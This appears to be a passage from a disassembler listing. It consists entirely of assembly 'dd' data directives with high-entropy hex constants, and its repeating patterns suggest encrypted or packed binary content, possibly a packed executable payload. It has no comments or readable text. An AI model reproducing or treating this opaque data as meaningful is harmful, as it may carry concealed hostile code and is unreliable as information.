322434D5h dd 9EE7B983h, 0EA0D0A8Eh, 32243B53h, 47D400DDh, 21DFCC61h dd 779FD89h, 0FB89885Ah, 0C9926C82h, 32278C8Fh, 399A3477h dd 0B36CDEABh, 96464412h, 58C7CBC9h, 31CC6777h, 122434BBh dd 0BB7FF786h, 0B32010B2h, 25201033h, 712434BBh, 3D6DF78Eh dd 8D2B73B1h, 0BA2B7781h, 322434BFh, 866D8ABBh, 4C928963h dd 0BFA93224h, 3477B651h, 79784965h, 6FA10764h, 19227A72h dd 30CDF574h, 4ABFAFA9h, 3C523477h, 4FDD3224h, 0FB30C7FAh dd 0B9B913C4h, 67DF88A1h, 0F305E983h, 8BC08BA4h, 806056D7h dd 5A6182CBh, 28E0Fh, 0F08B0000h, 0D981C38Bh, 3CC735CEh dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 58AA11C3h, 83F59B8Eh, 4E2D45BDh, 9750006h dd 19E1BD83h, 7400064Eh, 8B535019h, 47AB8C0h, 85890000h dd 64E3001h, 0B9A89D8Dh, 0D3FF0650h, 0BD83585Bh, 64E19E1h dd 50177400h, 47AB853h, 85890000h, 64E3001h, 0B6499D8Dh dd 0D3FF0650h, 0CE9585Bh, 82000000h, 6A44E66Dh, 0EDB8F225h dd 8B846F05h, 0E8C08BCAh, 0Ah, 0DA52C1EEh, 19E9D7E8h, 0C18BC27Ah dd 0C681F95Eh, 62F1h, 0BBD38B66h, 1884h, 8860Fh, 81520000h dd 94F9A7D1h, 36FF5A39h, 0FF08A60h, 68Bh, 830F00h, 61000000h dd 0C0CA815Fh, 81316020h, 5304AEEFh, 0CA8B6608h, 380EF81h dd 0F480501Ch, 33C78179h, 6638E68Ah, 49D8E881h, 6E957h dd 55B10000h, 87715A9Ah, 8A60068Fh, 61DE8BC6h, 0EF7EE81h dd 8E0F1FFEh, 19h, 11E857h, 31990000h, 8035D23Ch, 16D6C6B0h dd 96C2F928h, 580F8F42h, 0F3C68159h, 661FFE0Eh, 20D8EA81h dd 24850F4Bh, 0E8000000h, 6, 81C9EAD3h, 0BF0F37F3h, 26E958C6h dd 9E000000h, 3236C5Eh, 415A4ADCh, 4EB5A675h, 0F851FFD7h dd 0FFFF55E9h, 755AE6FFh, 13E63261h, 0D449963Bh, 564D06CFh dd 15CE9BCh, 183B0000h, 4CC1F3D0h, 5FB195C8h, 513B09DAh dd 51F850D1h, 5F9309D2h, 769F50D9h, 238E39F2h, 222350A0h dd 7E79C780h, 0B19D6334h, 138750E7h, 12975096h, 13DF5096h dd 13EB5096h, 13F75096h, 13FB5096h, 13D25096h, 13FE5096h dd 13775096h, 13BF5096h, 6A8C5096h, 7E8A24E5h, 61A77096h dd 609E33F9h, 13FD0DE5h, 13FE5096h, 137F5096h, 13BF5096h dd 13DF5096h, 13EF5096h, 13F75096h, 13FB5096h, 13FD5096h dd 13FE5096h, 137F5096h, 13BF5096h, 13DF5096h, 13EF5096h dd 13F75096h, 13FB5096h, 13FD5096h, 13FE5096h, 137F5096h dd 13BF5096h, 13DF5096h, 13EF5096h, 13F75096h, 13FB5096h dd 13FD5096h, 13FE5096h, 137F5096h, 13BF5096h, 13DF5096h dd 13EF5096h, 13F75096h, 13FB5096h, 13FD5096h, 13FE5096h dd 137F5096h, 13BF5096h, 13DF5096h, 13EF5096h, 13F75096h dd 13FB5096h, 13FD5096h, 13FE5096h, 137F5096h, 13BF5096h dd 13DF5096h, 13EF5096h, 13F75096h, 13FB5096h, 13FD5096h dd 13FE5096h, 137F5096h, 13BF5096h, 13DF5096h, 13EF5096h dd 13F75096h, 13FB5096h, 13FD5096h, 13FE5096h, 137F5096h dd 13BF5096h, 13DF5096h, 286F5096h, 0D9E9079Eh, 68000016h dd 65387B6h, 0FBC5D5E9h, 88CD68FFh, 0CBE90653h, 68FFFBC5h dd 65389A3h, 0FBC5C1E9h, 8A8268FFh, 0B7E90653h, 68FFFBC5h dd 6538BDAh, 0FBC5ADE9h, 8D2068FFh, 0A3E90653h, 68FFFBC5h dd 6538E1Dh, 0FBC599E9h, 8EED68FFh, 8FE90653h, 68FFFBC5h dd 6539128h, 0FBC585E9h, 920268FFh, 7BE90653h, 68FFFBC5h dd 65392E4h, 0FBC571E9h, 937268FFh, 67E90653h, 68FFFBC5h dd 65394B2h, 0FBC55DE9h, 9A3468FFh, 53E90653h, 68FFFBC5h dd 6539B28h, 0FBC549E9h, 26E46CFFh, 0A466EB75h, 1BE969F3h dd 9783E06Ah, 100A5CE6h, 3C2FC65Fh, 0B53FF02Ah, 2EB869AFh dd 0A832E337h, 0D4AA5BA7h, 69C06D2Ch, 61F31CCFh, 906EE1B8h dd 0B8F15EE8h, 9CEF4CF9h, 0E9347F1Ah, 54AD45Dh, 16A048F9h dd 0D343CF3Bh, 23E28A2Eh, 1CD2C23Bh, 9288DE68h, 0EA73BE09h dd 2D3C062Bh, 4F076DE3h, 385DB76Ah, 20B032h, 0FB070000h dd 4B0AB206h, 1CD2F6C7h, 6120A9F4h, 0E32D0930h, 0A0013DA3h dd 32384F81h, 0D8E6h, 6EE13D00h, 0B9041251h, 5AC0A630h dd 0FA0847D1h, 42EBAA52h, 3F1A9CEFh, 9CEFD780h, 45BB061Ah dd 5BE56EFAh, 0A66516F4h, 1A9CEB36h, 4F00FE51h, 263D8AC5h dd 72DD67F0h, 75FE4994h, 0D27DFC05h, 1560AB34h, 353CAE6Dh dd 347FE32Dh, 0F701B78Ch, 55F17B95h, 0E67018C9h, 9E0E9A80h dd 0C014CB63h, 692519D0h, 469173DFh, 3DF3DF9Eh, 9E28E57Dh dd 7EC952C8h, 64018B33h, 56E22DB6h, 0D84224AEh, 4AFB5B30h dd 0C262EED7h, 0D2A77473h, 0E26EA41Ah, 5DBFA731h, 61501409h dd 3F9E27B5h, 1464h, 9A4BB997h, 10C14110h, 8D3ECC86h, 9BA6003h dd 8435E77Fh, 56154EBh, 88DC6617h, 0E57E192h, 7ED15B0Ch dd 51F9CF80h, 0CF68E592h, 0DD86181Ch, 0E69785E1h, 6617F35Ch dd 2A39C3BDh, 11F060ECh, 0F240FFA7h, 0E91CD2F6h, 986D159Eh dd 464C73F6h, 43028EA8h, 0E32D6E1Eh, 6308DD85h, 0D6A699E9h dd 0F896FC88h, 0D7803FE7h, 6E32DE7h, 0E7F69F5Eh, 0DA25E32Dh dd 0D1E4BA8Fh, 652BB97Eh, 0EDDE43D9h, 0C9893238h, 0E0000000h dd 0E8906EE1h, 8A16F45Eh, 2DEF7701h, 0EB77E5A4h, 0BF901A9Ch dd 34F39B43h, 0E563140Bh, 2A5312BAh, 0D9E56314h, 0ACB9438Eh dd 0A731E26Eh, 61D15AA8h, 0B17018A0h, 0E32D3539h, 0E78F3782h dd 2D367F28h, 0D763AEE3h, 6D4BB626h, 806D06C5h, 1560E57Dh dd 9C6EE36Dh, 943CC813h, 0D70462ECh, 0B8038C8Eh, 0F57E16Dh dd 5290650Dh, 11A79897h, 0ADA88DFDh, 76C19FB7h, 0E99139EAh dd 0FD307D2Ah, 0D965B0E9h, 0B105174Fh, 0B560D5C6h, 4DDD3CC5h dd 0AE000013h, 29B364A2h, 9F29DA28h, 16A051B3h, 8E18C94Dh dd 0F89142D8h, 22F86E61h, 9F7DE771h, 190164EEh, 9571DE68h dd 0A7660EE4h, 1CCF67FEh, 0E1F29B2Dh, 5CE69785h, 0BD6617F3h dd 335C1BC3h, 0CE1A9CEFh, 0C5108684h, 0EF315E1Dh, 99E41A9Ch dd 3ECC830Dh, 0E6242BB5h, 69B1B43Eh, 0B0A22CDDh, 103FC952h dd 6AC541F2h, 26CEEA17h, 0AF5BF47Eh, 0EB3E6423h, 0A2ED1CD2h dd 9FC54FF7h, 0FD66F079h, 0B6F9CE19h, 0C697CEE6h, 0EA9857E3h dd 2714A700h, 7736DEDAh, 1EF5444Bh, 7130D880h, 0E14549C4h dd 40EDACF7h, 73E14549h, 0E454DD28h, 34F39B1Dh, 0E714342Eh dd 9684E16Bh, 0C036C20Dh, 60E92D36h, 9822CA15h, 0C7430CB7h dd 0E41CB7Ch, 20479CF0h, 1DA6B389h, 1277BEh, 3ECC8400h dd 0BC4E038Dh, 33D1810Bh, 0AF6BF882h, 28F274FEh, 5447DE77h dd 0CD570812h, 46D08197h, 0C04AFB1Fh, 0ECC2738Fh, 66D88544h dd 790B1CCFh, 1839C3D0h, 8A1661EAh, 2AB34F00h, 1F3247BAh dd 48F098E3h, 0EFB4E1A0h, 1C671A9Ch, 0E02DD190h, 129C1CD2h dd 0C339C551h, 123DC778h, 39C36BF4h, 0A3CC8B16h, 52E32D1Fh dd 0E833BC07h, 0A315EC5Ch, 7F7E53FBh, 0F92EA1D1h, 18D59420h dd 0ABE57EDEh, 362EB860h, 22AC54E0h, 9620D12Dh, 54C44DB9h dd 0A4630BADh, 0EF915B6Bh, 0A33F29Ah, 0B9F79644h, 5E07C66Eh dd 8DF79644h, 0C54FF742h, 4AD47C8Ah, 0C071FD19h, 64ED1936h dd 3AB0DF4h, 4BF4B35Bh, 7AF79644h, 0D81A5A2Fh, 0E2574AF4h dd 0C5C39756h, 0ADF8F1D8h, 0BAE38259h, 71D059A0h, 1198h dd 6E1FED63h, 0EC9D6DE4h, 6112F062h, 0DD8E8CD7h, 58091353h dd 313528BFh, 0B4B03AEBh, 3A2BB566h, 0AAA52FE0h, 2DD5AB5Ch dd 0CF65C16Eh, 0B962F41Ch, 0B5885E1h, 0A313C40Fh, 0F3B25A5Eh dd 1CD2C9CFh, 9E28B1FCh, 1AA455B1h, 0D040C935h, 20DF8731h dd 0E563302Eh, 0C579024Dh, 81CE275Fh, 9D64D485h, 0EB4731Bh dd 0BDEFB11Ch, 9941E972h, 8941ADDAh, 891560F7h, 805550FFh dd 0F73DA917h, 35622137h, 0E8F78974h, 0FDC9529Dh, 0E120FF97h dd 0DF872FD7h, 89747720h, 471CA6F7h, 0B4FF4AD3h, 52B96928h dd 0B640F1C7h, 96E16AB0h, 9849940Ah, 3CC5410Eh, 5B8AD47Dh dd 0AC5EF3FCh, 48B69923h, 0EF1D35BFh, 0DA401B66h, 47AD88BCh dd 6D99B60Fh, 0D98A14BCh, 2827B13Dh, 20E151DAh, 8AD37C3Bh dd 0B702FC5Bh, 59E2382Dh, 5C1BC30Eh, 0FA1593AAh, 0D14DFE49h dd 0B7010081h, 279F500Fh, 0D31EFCB6h, 52C89E28h, 27590AC9h dd 679AC0B9h, 7D671FF4h, 5A6714CBh, 0B932F29Bh, 8BD621C0h dd 0B6E324E3h, 0BE0C6EAh, 0FF410605h, 2FA5311Fh, 0A943CE4h dd 0A832BE5Ch, 2AA5BA7h, 4F29B5Ah, 7921C94Eh, 4E048DBAh dd 0AAF540C9h, 4FBB941Eh, 0F02A3CC6h, 0D3E2539Ch, 0AA099295h dd 1040h, 0C67795BBh, 44F5153Ch, 0B96A98BAh, 35E6342Fh dd 0B061BBABh, 0D98D8017h, 5C089243h, 0E2830DBEh, 52FD8738h dd 852D03B4h, 0CF6499C6h, 11BA4C1Ch, 0E69785E1h, 0C28DF35Ch dd 0BB190202h, 0E036F8CDh, 3D86F54Ch, 0A4C04AF2h, 0D761EA76h dd 26018A78h, 202F86C0h, 869B31E2h, 0E12BEA2Fh, 199h, 906EE138h dd 34D27D07h, 0CAEE1383h, 73F07A22h, 47D31EA7h, 0D2C29E88h dd 0F982CD1Ch, 2D3D093Ah, 4AD47CE3h, 2B76FF1Bh, 0C753B1A1h dd 28B22561h, 7837DF3Bh, 0E32D3DCFh, 9127B3FEh, 32385F90h dd 42D7h, 6FB2E00h, 0A3620AB2h, 1A9CEFFAh, 0AA52DE29h dd 0D2F6A7EBh, 0C049941Ch, 7C48E18h, 0E26EB94Bh, 2D097E23h dd 47FF65E3h, 384EBF62h, 9EE6BB32h, 0AE9F9059h, 0E238F2E5h dd 0F23D54C9h, 0B3AB66h, 0E1020000h, 7D07906Eh, 20AA33E9h dd 0C04AD32Fh, 41CB738Fh, 976CF523h, 0A2198FC5h, 0AD3984DCh dd 9BCA54FCh, 6F18D77Fh, 9E1A9CBAh, 9008C753h, 0B31A9CBEh dd 4DBD6E9Ch, 0D25C04B4h, 0B1FC8591h, 3BBE7D25h, 9A1CCC09h dd 491DA74Fh, 0F07A22D3h, 8A14A062h, 27EA3EDCh, 0D6BFAE90h dd 0EFAEE4Dh, 4F010000h, 0DB7600B1h, 5EF47E2Fh, 0F271FBACh dd 7DE97324h, 0BE55EE9Fh, 0D0819BCBh, 47F81E46h, 0C172A8BDh dd 39EA1837h, 53FCBB63h, 821CCF62h, 85E147F0h, 0B43EE697h dd 39E16AB0h, 9CEFCD7Ah, 6AB5001Ah, 0EF5A03C2h, 3E891A9Ch dd 9C2728B2h, 550651C9h, 906EE1ACh, 928A5F07h, 0A855CC9Fh dd 0C887119Dh, 4A08923Ah, 0F17B2CB8h, 0A717A05Eh, 0B612D45Ah dd 0EDE87DE0h, 0BB3BFAA2h, 0E61CD260h, 0AED7963Eh, 5DE32E62h dd 622A5312h, 9EC5E32Eh, 2EA4EF78h, 96E157E3h, 9EB33DE5h dd 0C98E36Ch, 7BBADh, 9E5D0500h, 0E32E62F1h, 4FD924h, 0A22E7902h dd 9785E1F9h, 0EF224F0Eh, 22DF1A9Ch, 0A62FEE96h, 0E31CCF6Bh dd 93D37C3Bh, 0B702E330h, 0C26AB52Bh, 5DE91938h, 0E6242BB5h dd 62038D35h, 0ADA22CB8h, 471FA951h, 5074BD5h, 1CA5317Ch dd 0F246D492h, 0BFAD75C9h, 0FDEC4BD4h, 0FE00000Dh, 7903B452h dd 0EF792AD8h, 66F0A163h, 0DE6819FDh, 48E19288h, 72A8BEB1h dd 0EF2D37C1h, 69B1B43Eh, 0E5212EB8h, 0F7B65E34h, 1CCF614Eh dd 0E142EB7Dh, 5CE69785h, 52FBBAF3h, 811A9CEFh, 0BA62EB36h dd 5DE63430h, 3BC78812h, 0DC2A25AFh, 74127853h, 7F30CE81h dd 0EA3538E9h, 0DB9A422Bh, 1A9CE3B2h, 0CF8A1661h, 0Dh dd 0E5BDAC26h, 0C8271A9Ch, 0FFFFFDA9h, 0EF87AC1Fh, 0C53C1A9Ch dd 0DF68B2B4h, 0C00B1155h, 0C90ECD75h, 0EC1CCF6Bh, 0E36FF9A1h dd 0C14D9821h, 42C08F19h, 8241E991h, 0E33094D5h, 0A731BD08h dd 0DDB25AA8h, 0CBC055E0h, 72A8BCAFh, 88129B27h, 7720DFDEh dd 0A6E3304Eh, 8795D15Bh, 1468B3FEh, 0BFADA8EDh, 2D0463ECh dd 0CE00000Dh, 49D38482h, 0BF49FA08h, 36C07193h, 0AE38E92Dh dd 18B162B8h, 42D88E81h, 0BF5D0791h, 39E1840Eh, 0B551FE88h dd 0C7862E04h, 1CCF619Eh, 0E112BB4Dh, 0BCA9336Eh, 0CB8AD55Eh dd 1A9CEFA2h, 32BB0651h, 0B664008Ah, 53AFA02Ah, 0CD89EFCAh dd 0FAAB57F8h, 0EA34BD64h, 0DAA2Bh, 0AC010000h, 1A9CE5BDh dd 0FCE7C827h, 0FB1FFFFFh, 0E9965506h, 1C1A9CEFh, 1FDE86D1h dd 1CD2C93Bh, 1FDE862Eh, 0E32D3576h, 0F29B5AA5h, 21E32D35h dd 89D44AD6h, 35114100h, 1C82E32Dh, 57A27F62h, 4ED83238h dd 7D8FC318h, 0D55EA9F4h, 0E343FE8Ah, 9A000001h, 0EA1839C3h dd 0EFC29F5Eh, 8D241A9Ch, 0DBE4C03h, 963ECC83h, 0EF062FEEh dd 6AB51A9Ch, 859655DEh, 0A41A9CEFh, 0D5311EADh, 2DB6014Ch dd 0D059C3A3h, 4CE09E04h, 0A1143298h, 2F9F50AEh, 0D761EAD6h dd 4FD98A78h, 0BA790200h, 0E56310F9h, 7768268Ch, 18A462EDh dd 0EA339F82h, 184C82Bh, 78200000h, 9CE98CB9h, 1FF43F1Ah dd 1573230Fh, 761FAB6Eh, 7906EE1h, 8C34D27Dh, 0E97755B7h dd 0B6427DC0h, 4C6C9505h, 4F9E5A4h, 0A02A1CD2h, 80CB54C6h dd 766C19D8h, 549FE32Eh, 90C18009h, 3E32E76h, 2100E19Dh dd 46323798h, 5Eh, 0C852149Eh, 6FB933Ch, 0EFE99655h, 921C1A9Ch dd 0B1FC47D3h, 0F5A26109h, 281A9CEFh, 1A951DDh, 0A02AD877h dd 82CD56C4h, 0F6EB37F6h, 95E01CD2h, 0D98645EDh, 0CE32D09h dd 4AC35C1h, 0A62FEB7Ah, 6310CF5Bh, 52E32D09h, 683D52ECh dd 9DB5DBBFh, 952BB76Ah, 32391F8Ch, 0BEDBh, 0EEC33200h dd 70EA09E8h, 0DE68F4CCh, 63ED9571h, 0E78F1802h, 9CD57F28h dd 1863AE1Ah, 0ED79038Ch, 331CA62Fh, 0BEA52FD7h, 9B43CC58h dd 22384011h, 0A920B8DBh, 216CF540h, 0C6440B95h, 0ABF3491Eh dd 564750ABh, 7A5A19CAh, 7D1A9C70h, 138334D2h, 6322CAEEh dd 1CCC3690h, 3AE0830Dh, 64DA66B1h, 68E77119h, 0BE660E9Ah dd 61EA3034h, 43D78C16h, 59E36FBAh, 0D45E0F0Dh, 0F3348892h dd 2BFAEB0h, 0AF21A79h, 47090000h, 0D37E08B9h, 56FC8637h dd 0EA7903B4h, 75F17B2Ch, 0C65DF6A7h, 0D88993D3h, 4F00164Eh dd 0C97AA0C5h, 41F2103Fh, 5B04C36Bh, 8A1CCF7Eh, 85E14FF8h dd 0F35CE697h, 0E1BD6617h, 7D07906Eh, 0DB8334D2h, 0EFCB7433h dd 0AFFA1A9Ch, 4EDA4025h, 403EFh, 0A4EF4600h, 30D8E021h dd 0D28FF65Bh, 30BCA468h, 4B25C988h, 4B961CCFh dd 0E7D130A0h, 6536803Fh, 0DA25E57Eh, 66E19251h, 4908E9C2h dd 0C98830B9h, 0E9C2669Ch, 0EA7A044Fh, 71D7A32Ch, 0FB611FD5h dd 0A7C35E43h, 60A4388Bh, 0FC000003h, 3A33C627h, 0C24EAE2Ah dd 0EF87AC19h, 2F041A9Ch, 0F87DBAF9h, 5716A26Dh, 1A9CD225h dd 0E78F29D8h, 4BED0112h, 0BE4A7904h, 467B5716h, 45901CD2h dd 0B39EB6F1h, 0CD2CB5BFh, 0A18h, 0EE9F6DE3h, 6C1DED64h dd 0E19270E2h, 5D0E0C57h, 0D88993D3h, 0B1B5A83Fh, 3430BA6Bh dd 0BAAB35E6h, 2A25AF60h, 0AD552BDCh, 0CF7D41EEh, 39E2741Ch dd 0EC2A39C3h, 8D79D660h, 0F5B45C04h, 1A9CEF48h, 34A4307Bh dd 8443EBCDh, 1CCF6B1Fh, 0E252034Eh, 49F1991Fh, 3094DD8Ah dd 761FDEE3h, 0A5E33094h, 0F99E45Ah, 923AC654h, 10F260EAh dd 1058C584h, 8459E563h, 2509DCDBh, 75DE7C1h, 0C40F8511h dd 44D2921Ch, 835F49Ch, 0BBE9C444h, 7433E470h, 0E9C445E7h dd 0E39426DCh, 0F1B00B59h, 0E9C44644h, 8F180263h, 3883CE44h dd 7F2A25AFh, 0C44697C0h, 53FB46E9h, 0C446EB94h, 84CF1AE9h dd 7B1152DCh, 3601B6E5h, 149DE8BBh, 44B43DC9h, 9453FBBDh dd 0EF8AC2B6h, 9D267AC5h, 0E0AB0B15h, 936F857h, 8BC50000h dd 0F42CC7Dh, 9AB842F3h, 362DB768h, 0C1A52FE0h, 7A11AA5Bh dd 8C3DDF87h, 3B46202h, 7D2EEC79h, 0FDAE5CF3h, 97C07F27h dd 461CCF7Dh, 6FB0BB4h, 0E5800AB2h, 4222AC35h, 55FD89D4h dd 0CF6B2996h, 0F8875C1Ch, 0CB7C2C5Bh, 0A955FA84h, 382CB65Eh dd 0BDA731E2h, 9B66D65Fh, 4DB6751Dh, 80E563A3h, 0C53CAC35h dd 0CEA34BF3h, 22EB66Ch, 0C3820E8Fh, 0EF8BA237h, 620BCA72h dd 91F797DBh, 0F944BA46h, 0A3D26A5h, 6DCC55ABh, 8A8h, 5E0FFD53h dd 0DC8D7DD4h, 51020052h, 0CD7E9CC7h, 48F92343h, 412518AFh dd 0C4A02ADBh, 4A1BA556h, 0BA951FD0h, 1DC59B4Ch, 0CF7C315Eh dd 0A952E41Ch, 7906EE1h, 0AB34D27Dh, 4DD64421h, 0F37C8EC3h dd 6094B218h, 70671F85h, 0F39B7FE6h, 9CEF0B34h, 0E36FBA1Ah dd 5708F659h, 0EA3160C1h, 151072Bh, 0E15E0000h, 5F07906Eh dd 0B58A90D5h, 945B1B5h, 2DB743D5h, 0C333E422h, 2AD27A3Eh dd 0C854C6A0h, 0D2501D09h, 0E7A64E1Ch, 0E32E8ABEh, 4ED7226Dh dd 7E97D1A6h, 8F82215Fh, 821F4403h, 2086E32Eh, 0C49E8366h dd 2EC93237h, 20000000h, 0AB206FBh, 8F8BD862h, 0F6FE4403h dd 0A2ED1CD2h, 9295A19h, 369CE32Dh, 0C7B28718h, 0B7FF51C6h dd 0F22FC551h, 753238FDh, 0C0h, 336EE1CCh, 9CEFCB74h, 64AFFA1Ah dd 3C5E33DBh, 1AE869C1h, 7F3F4545h, 1FFD69F3h, 6562ED77h dd 47D01B01h, 5DE770FCh, 18B14F2h, 40FFB04Eh, 1A9CED28h dd 8D7FD35Dh, 0A32DB904h, 3DAD5EACh, 0C24CF4C4h, 42EA76A4h dd 0CC5B7083h, 0C2A32D1Ch, 0B56CC58h, 8F8DD963h, 81254DEh dd 0AE425BB4h, 72D15ABFh, 768h, 9E4FBD93h, 1CCD3D14h, 9142C092h dd 0DBE5C07h, 8839E383h, 16558EFh, 84E06A1Bh, 0A5BE596h dd 7AD55F10h, 5D05DB8Ch, 0CF7BF19Eh, 0E992241Ch, 0EF9785E1h dd 921CEA65h, 8B945D1h, 8D35D17Eh, 0E4CD4EB8h, 0C0FD9C0Fh dd 0F3956A05h, 4E6D43E7h, 0D272B19h, 0DC8536C2h, 74336EE1h dd 1A9CEFCBh, 0DB64AFFAh, 4F00FE51h, 0D1471DA7h, 5AE645h dd 0C33D0000h, 0A4AD2A39h, 4792DD66h, 6BE773BEh, 0E4956C19h dd 89139C6Eh, 64AF38C6h, 41C38F19h, 8EC44EF6h, 0EF37601Fh dd 9BE61A9Ch, 0F07CC750h, 6B668948h, 0A551CCFh, 8F8BD862h dd 32E87C06h, 34B05BE7h, 3C3DC4C1h, 206BF416h, 7A6E2DD5h dd 39E56310h, 2AE443EEh, 3B000000h, 0AB206FBh, 0D2F6BB4Bh dd 64ED381Ch, 0D2E703A5h, 2866CC1Ch, 0FF6712EFh, 6B2AD21Dh dd 0E563015Bh, 0FD5C0D58h, 0B8h, 2A39C354h, 11F060ECh dd 0CD57FFA7h, 0AFFA8399h, 6B836423h, 76001CCFh, 2DA32FDBh dd 0D059C3A3h, 8923A85h, 0E732BB47h, 0BA620A5Bh, 309352FBh dd 0AA3681E3h, 2A90C72Eh, 74F17B6Ch, 83E0251Ch, 0E02B2E75h dd 0FD63BE54h, 5D04323Dh, 5B000000h, 0EC2A39C3h, 1C8C1863h dd 6C2BD3E5h, 1CCF6B7Ah, 65B7AF39h, 0A84DC91Ah, 0E87D07AFh dd 0D25EA932h, 52CFD26Ch, 15323DBAh, 30h, 0B206FB6Ch, 6B984B0Ah dd 5BE51CCFh, 3D88110Bh, 9FF03BB1h, 96F66DF7h, 8944E7F2h dd 0EA76C115h, 6AD0876Eh, 354CD2Ch, 0D13323Eh, 6A000000h dd 9CF61FACh, 216AC91Ah, 0C1FFFFFFh, 335C1BC3h, 0E21A9CEFh dd 669B0B97h, 0AAEBAA52h, 891CCF6Ah, 0BC45B53Eh, 95B7E09Fh dd 1B66E330h, 0D88028D0h, 30956C19h, 46C48BE3h, 3AF985D0h dd 0E56311B6h, 8931BA05h, 2AB664FFh, 0C97147BAh, 979DCD0Ah dd 0D44CEEFh, 9D2974FDh, 0AA34DC27h, 3AAA5BA7h, 8A49F1C7h dd 0F1CA1835h, 8D35DD28h, 0ED796203h, 105BA62Fh, 69E2CD3Bh dd 0AA36A3B4h, 2DD54520h, 9A99C685h, 14CFC2Dh, 6905C475h dd 46640B31h, 0CB55FD09h, 45F68298h, 0ED7694BBh, 8C34847Dh dd 5820F9CDh, 7AFFA52h, 2AF7A05Fh, 511252A0h, 7BF13CC5h dd 671BA430h, 0DF704501h, 40CA7223h, 0C9F6B25h, 13A92D9Bh dd 68F43FC8h, 0A9387DEh, 5DF2D180h, 0CD4F17A1h, 6AEF944h dd 1BDAD37Ch, 52A0C172h, 7F0B56A1h, 710D73F6h, 4EF7B65Eh dd 7D52A0C1h, 491CA632h, 0C188B574h, 0F03B52A0h, 0FB6AF4A5h dd 46EE961Fh, 0A0C1DE87h, 0AF6DF952h, 1A65DB26h, 0C18AB372h dd 0EE3952A0h, 5A0DE662h, 8298CBF8h, 4706AE37h, 52A0C11Eh dd 6EF882CDh, 3AA023ACh, 0E349E81Ch, 71352ABh, 8FBAD56h dd 0AEA12BB4h, 451EA850h, 71FD48D1h, 98B61CE8h, 188A5F07h dd 21AE5272h, 0B11A4302h, 21C91A9Ch, 9CB13562h, 529DE81Ah dd 0F37F9BC8h, 8B3C8083h, 5FB04E01h, 0A5A11E3h, 6CF9830Ch dd 0B7125AEh, 8CF2B973h, 0B654FBF2h, 0E58E630Bh, 3A0427B8h dd 65EC7602h, 9187351Bh, 0D41FEB4Dh, 0ADE38C4Bh, 2CD41A9Ch dd 0CB57C3A2h, 0EB62965h, 9CAD264Fh, 44BD51Ah, 5413BB06h dd 1A9CAD2Bh, 79038FDAh, 0D1792AD8h, 70F90B47h, 930A5025h dd 0DEBF8ED0h, 7D9DC852h, 0C7044BD5h, 0A9F47D9Fh, 4C00D55Eh dd 4C94727Eh, 0C851DD28h, 76164B20h, 48D1471Dh, 0D01B28FDh dd 0A2D08F1Bh, 0A1A9CDFh, 5213EAA4h, 0EB5817C8h, 0F01A9CC2h dd 5B1A0066h, 1A9CFC32h, 60C196E1h, 1354084Dh, 4C21C914h dd 9DC83EBFh, 0E589A87Dh, 0B967FD89h, 0AE2BEA27h, 0FFFFFF0Eh dd 906EE105h, 0CFA55DFh, 561E31BBh, 1AD68104h, 0DA2B765Bh dd 53AAE44Ah, 0BB630EFCh, 421050E6h, 0F480924Ch, 0E943C35Eh dd 500FB72Bh, 1A9C1227h, 44FF8BD6h, 35h, 0B206FB9Bh, 6B994B0Ah dd 0CB161CCFh, 6DF6FE7Ah, 71904F07h, 93022BEAh, 66B1E330h dd 30B4731Bh, 7FE56317h, 0CE18934h, 66978959h, 59B844A2h dd 4Ah, 5506FBB0h, 9CEFE996h, 86D11C1Ah, 0EBDB09DEh, 6AC8D13h dd 9C301E47h, 3782CD1Ah, 0A04403ABh, 0F1CCFB4h, 0F773C4h dd 0E7A64EF6h, 0E331B4BEh, 0BB7A226Dh, 0E331B492h, 46AF641h dd 44748D4Ah, 300BDD9Ch, 5DA8E562h, 6EE109B2h, 0B75F0790h dd 9CEF4FF8h, 0A7337E1Ah, 2CD4321Dh, 5CFA8857h, 38C45A5Ch dd 0CEEA1787h, 697F6726h, 22AC1CD2h, 4BD442h, 0E1830DB5h dd 91761FDEh, 5AA5E32Eh, 0AF3B860Fh, 913A6726h, 43A9E32Eh dd 0B37BA60Bh, 25EC3237h, 43000000h, 0AB206FBh, 0D2F6C74Bh dd 1A9F41Ch dd 0A22EEC77h, 9295A19h, 369CE32Dh, 4F889918h, 0C4DF3238h dd 36000000h, 8F2A39C3h, 9CEFA7D0h, 0C00B561Ah, 0D660EC37h dd 7A048D79h, 0A163EFECh, 0C43CD56h, 64EB75FEh, 9756FEA6h dd 1A9CEFEEh, 9546D21Dh, 9CEB66D6h, 30CE811Ah, 0B367FE88h dd 53DF3D29h, 0CB3718A2h, 4A2FD242h, 2B76FF1Bh, 0C97938E0h dd 2E32D24h, 6B9606B7h, 361BA54Dh, 74004BD4h, 9DCC0DCCh dd 0A4EFE57Dh, 0C9F472FCh, 0FDFE5D0Ah, 0FA4590E9h, 3AF9A149h dd 0E9FDFE0Dh, 5FE975C0h, 5EC11507h, 5DB56018h, 1E675D4h dd 3B150000h, 0BF921CCDh, 4A089243h, 0E67D07B8h, 71F57F30h dd 0CA61FAABh, 0DC8D8FD7h, 53041252h, 0CD7E9CC9h, 4DFE0C43h dd 6710CF77h, 961CCF75h, 85E15B04h, 0F35CE697h, 0FBBD6617h dd 4B0AB206h, 1CD2F6C7h, 6120A9F4h, 0E32D0930h, 0A0013DA3h dd 32384F81h, 0EBE6h, 0B1B43E00h, 0B95E069h, 913AC644h dd 7906EE1h, 17D6E97Dh, 1A9CEF6Eh, 0A370C89Dh, 0B362B726h dd 0D5941D68h, 1A9CE867h, 8B33CF80h, 29B56301h, 66FBD078h dd 1F5282DEh, 5FF07A06h, 941DED64h, 575FE49h, 5514BCFCh dd 0E32DF32Dh, 43EB93DEh, 2C13DB84h, 33BF0AE3h, 0C9EF1282h dd 74EF7921h, 46D21DA6h, 7CA59387h, 0D57DC8E5h, 0AAC16E2Dh dd 0A9F4E9FCh, 0F8CD751Dh, 0E734A11Eh, 252AFFACh, 20FB9FC5h dd 93D35DE9h, 184ED889h, 0F57E8CC3h, 5E0B5FAAh, 9DB56163h dd 0F2B514h, 47090000h, 0D37E08B9h, 56FC8637h, 0EA7903B4h dd 75F17B2Ch, 0C65DF6A7h, 0D88993D3h, 4F00164Eh, 0C97AA0C5h dd 41F2103Fh, 5B04C36Bh, 8A1CCF74h, 85E14FF8h, 0EFD27B3Ah dd 59011A9Ch, 9CEFED9Ah, 8AD5201Ah, 4B048E3Fh, 0DC660EBFh dd 60099575h, 0E8906EE1h, 8DBF4113h, 0F985C3BBh, 